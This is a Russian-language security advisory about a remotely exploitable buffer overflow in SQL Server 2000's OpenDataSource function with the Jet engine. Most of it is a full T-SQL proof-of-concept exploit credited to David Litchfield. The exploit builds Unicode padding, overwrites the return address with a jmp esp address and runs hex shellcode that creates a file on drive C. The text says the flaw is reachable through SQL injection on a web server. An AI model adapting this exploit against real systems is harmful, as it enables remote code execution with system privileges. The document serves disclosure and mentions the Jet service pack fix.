В Microsoft SQL Server 2000 обнаружено пригодное для удаленного использования переполнение буфера в функции OpenDataSource в комбинации с MS Jet Engine. Так как проблема связанна с Jet Engine, другие программы, использующие Jet, так же могут быть уязвимы. 

Создавая специально обработанный SQL запрос
и используя функцию OpenDataSource, можно вызвать переполнение буфера в процессе SQL Server, получая удаленный контроль
над выполнением процесса. Любой код будет выполнен с системными привилегиями. Так как переполнение связанно с Unicode кодированием, оно очень просто в эксплуатации. Уязвимость может использоваться через Web-сервер, уязвимый к внедрению SQL кода. Приведенный ниже эксплоит, создает файл SQL-ODSJET-BO на диске с:. 

Уязвимость обнаружена в Microsoft SQL Server 2000 sp0-sp2

— Simple Proof of Concept
— Exploits a buffer overrun in OpenDataSource()

— Demonstrates how to exploit a UNICODE overflow using T-SQL
— Calls CreateFile() creating a file called c:\SQL-ODSJET-BO
— I’m overwriting the saved return address with 0x42B0C9DC
— This is in sqlsort.dll and is consistent between SQL 2000 SP1 and SP2
— The address holds a jmp esp instruction.

— To protect against this overflow download the latest Jet Service
— pack from Microsoft — http://www.microsoft.com/

— David Litchfield (david@ngssoftware.com)
— 19th June 2002

declare @exploit nvarchar(4000)
declare @padding nvarchar(2000)
declare @saved_return_address nvarchar(20)
declare @code nvarchar(1000)
declare @pad nvarchar(16)
declare @cnt int
declare @more_pad nvarchar(100)

select @cnt = 0
select @padding = 0x41414141
select @pad = 0x4141

while @cnt < 1063
begin
select @padding = @padding + @pad
select @cnt = @cnt + 1
end

— overwrite the saved return address

select @saved_return_address = 0xDCC9B042
select @more_pad = 0x4343434344444444454545454646464647474747

— code to call CreateFile(). The address is hardcoded to 0x77E86F87 — Win2K Sp2
— change if running a different service pack

select @code = 0x558BEC33C05068542D424F6844534A4568514C2D4F68433A5C538D142450504050485050B0
C05052B8876FE877FFD0CCCCCCCCCC
select @exploit = N’SELECT * FROM
penDataSource( »Microsoft.Jet.OLEDB.4.0»,»Data Source=»c:\’ select @exploit = @exploit + @padding + @saved_return_address + @more_pad + @code select @exploit = @exploit + N'»;User ID=Admin;Password=;Extended properties=Excel 5.0»)…xactions’ exec
(@exploit)

Оставить мнение